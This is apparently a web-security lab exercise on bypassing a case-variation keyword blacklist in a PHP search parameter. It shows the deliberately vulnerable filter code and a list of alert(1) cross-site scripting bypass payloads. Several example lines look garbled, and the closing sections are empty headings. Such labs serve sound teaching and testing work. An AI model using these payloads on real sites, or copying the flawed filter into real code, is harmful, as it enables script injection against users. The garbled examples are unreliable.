Test XSS with comprehensive case-variation blacklist filtering on search parameter
This lab demonstrates a more sophisticated blacklist filtering approach that attempts to block case variations of dangerous keywords. The 'search' parameter filters out multiple case variations of 'script', 'img', 'image', 'svg', and 'onfocus'.
# use arjun tool to find hidden parameters
The search parameter filters these keywords:
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Input: <script>alert(1)</script>
Output: <>alert(1)</>
Input: <ScRiPt>alert(1)</ScRiPt>
Output: <>alert(1)</>
Objective: Discover the hidden parameters and find ways to bypass the advanced blacklist filtering to execute XSS payloads.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
echo htmlspecialchars($_GET["id"], ENT_QUOTES);
}
elseif(isset($_GET["search"])){
$arr = array('script','Script','sCript','scRipt','scrIpt','scriPt','scripT',
'SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT','script',
'img','image','svg','onfocus');
$re = str_replace($arr, '', $_GET['search']);
echo $re;
}
<iframe src=javascript:alert(1)><body onload=alert(1)><marquee onstart=alert(1)></marquee><object data=javascript:alert(1)><embed src=javascript:alert(1)><script>alert(1)</script> (HTML entities)<%73cript>alert(1)</%73cript> (URL encoding)<scr\x00ipt>alert(1)</scr\x00ipt> (Null bytes)<script>alert(1)</script> (Double encoding)The current filter removes these keywords with case variations: 'script', 'img', 'image', 'svg', 'onfocus'
This means these techniques can potentially bypass the filter:
Advanced blacklist filtering demonstrates:
For secure web applications: